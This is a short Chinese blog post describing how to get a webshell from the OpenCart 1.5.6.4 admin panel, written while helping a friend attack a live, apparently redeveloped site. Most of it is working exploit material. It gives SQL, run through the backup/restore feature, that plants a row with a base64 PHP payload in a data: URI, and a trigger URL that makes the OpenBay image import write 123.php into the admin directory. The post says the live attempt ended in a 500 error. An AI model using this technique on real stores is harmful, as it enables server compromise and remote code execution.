Opencart 后台getshell
朋友实战中遇到的,帮忙看后台getshell。
修改日志文件,但是奈何找不到warning这类等级的错误,没办法控制写入的内容,通过sql报错能写入了,但是尖括号却会被实体,使用16进制一样会实体。。。
文件上传好像说也是上传到文件服务器的。
而且实战和我拿到的这套源码不一样,虽然版本都是显示的:1.5.6.4,但是实战的站应该是处于二次开发的。
本地利用成功的地方:
1.后台--system--backup/restore:用于数据库的备份和还原,所以我们操作数据库了。
2.还原两个文件:
第一个:创建一个oc_ebay_image_import表,默认不存在。(最好先在备份那里看到是否真的存在)
CREATE TABLE `oc_ebay_image_import` ( `id` int(11) NOT NULL AUTO_INCREMENT, `image_original` text NOT NULL, `image_new` text NOT NULL, `name` text NOT NULL, `product_id` int(11) NOT NULL, `imgcount` int(11) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
第二个:向上面表中插入数据。
insert into `oc_ebay_image_import`(`name`,`image_original`,`image_new`)values('1','data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=','123.php');
然后访问url进行触发:http://xxxx/admin/index.php?route=openbay/openbay/getImportImages&token=e358e0658935b8142cbdeff8373efccf
这就表示成功了,会在admin目录下面生成123.php文件。
漏洞原因:
这里最开始使用的是http协议,加载的远程内容,但是实战在内网,然后在copy函数中看到还支持其他协议,就使用了data://协议。
最后呢?
还是没拿下。。。访问触发的url,直接出现500错误。卒。。。